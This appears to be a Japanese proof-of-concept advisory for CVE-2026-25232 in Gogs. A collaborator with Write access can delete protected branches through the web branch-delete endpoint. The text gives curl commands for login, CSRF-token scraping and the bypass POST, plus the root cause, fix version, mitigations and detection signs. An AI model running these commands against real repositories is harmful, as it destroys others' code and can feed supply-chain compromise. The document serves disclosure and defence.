
CVE-2026-25232の概念実証。これはGogsに存在する権限昇格の脆弱性です。
| フィールド | 詳細 |
|---|---|
| CVE | CVE-2026-25232 |
| 製品 | Gogs(Go Git サービス) |
| 影響を受けるバージョン | 0.13.4 以下 |
| 修正バージョン | 0.14.1 |
| CVSS スコア | 中 |
| CWE | CWE-863: 不適切な認可 |
| 必要な認証 | あり(リポジトリに対する Write 権限) |
| 影響 | Write → Admin レベルの操作への権限昇格 |
CVE-2026-25232 は、Gogs の Web インターフェースにおけるアクセス制御バイパスの脆弱性です。これにより、Write 権限を持つリポジトリのコラボレーターは、DeleteBranchPost エンドポイントに直接 POST リクエストを送信することで、デフォルトブランチを含む保護ブランチを削除でき、ブランチ保護メカニズムを完全にバイパスできます。
根本原因は、Git Hook レイヤーと Web インターフェースがブランチ保護を適用する方法の相違にあります:
DeleteBranchPost 関数は Git Hooks をトリガーしないため、保護チェックが実行されることはありませんこれにより、低権限のコラボレーターが、リポジトリ管理者のみに制限されるべき操作を実行できます。
http://<TARGET>:3001attacker:Password123!(リポジトリに対する Write 権限)admin/important-repomain(デフォルトブランチ)ブランチが保護されており、通常の手段では削除できないことを確認します:
# API による通常のブランチ削除を試行 - これは失敗するはずです
curl -s -X DELETE 'http://<TARGET>:3001/api/v1/repos/admin/important-repo/branches/main' \
-u 'attacker:Password123!'
期待される応答: 403 Forbidden または保護エラー。
認証済みページから CSRF トークンを取得します:
curl -s -c cookies.txt -b cookies.txt \
'http://<TARGET>:3001/user/login' \
-X POST \
-d 'user_name=attacker&password=Password123!'
# リポジトリページから CSRF トークンを抽出
curl -s -c cookies.txt -b cookies.txt \
'http://<TARGET>:3001/admin/important-repo' \
| grep -o '_csrf" content="[^"]*"' | cut -d'"' -f3
保護チェックをバイパスして、ブランチ削除エンドポイントに直接 POST リクエストを送信します:
curl -s -X POST 'http://<TARGET>:3001/admin/important-repo/branches/delete' \
-b cookies.txt \
-H 'Content-Type: application/x-www-form-urlencoded' \
-d '_csrf=<CSRF_TOKEN>&name=main'
攻撃者が Write 権限しか持っていないにもかかわらず、保護ブランチが削除されます。
curl -s 'http://<TARGET>:3001/api/v1/repos/admin/important-repo/branches' \
-u 'attacker:Password123!'
main ブランチは応答に表示されなくなります。
Gogs の Web ハンドラー内の DeleteBranchPost 関数は、ユーザーが認証されており、リポジトリに対する Write アクセス権を持っていることを検証しますが、対象ブランチが保護されているかどうかはチェックしません:
HTTP POST /owner/repo/branches/delete
↓
DeleteBranchPost()
↓
チェック: ユーザーは認証されているか? ✓
チェック: ユーザーは Write アクセス権を持っているか? ✓
チェック: ブランチは保護されているか? ✗(欠落)
↓
ブランチが正常に削除される
ブランチ保護を強制する Git Hook レイヤーは、SSH または HTTP Git プロトコルを介した Git プッシュ/削除操作中にのみトリガーされ、Web インターフェース操作中にはトリガーされません。このアーキテクチャ上のギャップにより、Write レベルのコラボレーターなら誰でもこの操作を実行できます。
Write 権限を持つ悪意のあるコラボレーターは、以下を実行できます:
Gogs リポジトリが自動化されたデプロイメントパイプラインに供給される環境では、これはサプライチェーン侵害につながる可能性があります。
Gogs v0.14.1 以降にアップグレードしてください。この修正により、DeleteBranchPost 関数に適切な認可チェックが追加され、リクエストの方法に関係なく、削除を許可する前にブランチ保護ステータスが検証されます。
一時的な緩和策として:
/repos/{owner}/{repo}/branches/delete への予期しない POST リクエストがないか Web サーバーログを監視以下の悪用の兆候を探してください:
/<owner>/<repo>/branches/delete への予期しない POST リクエストこの PoC は教育目的および許可されたセキュリティテスト専用です。明示的なテスト許可がないシステムに対して使用しないでください。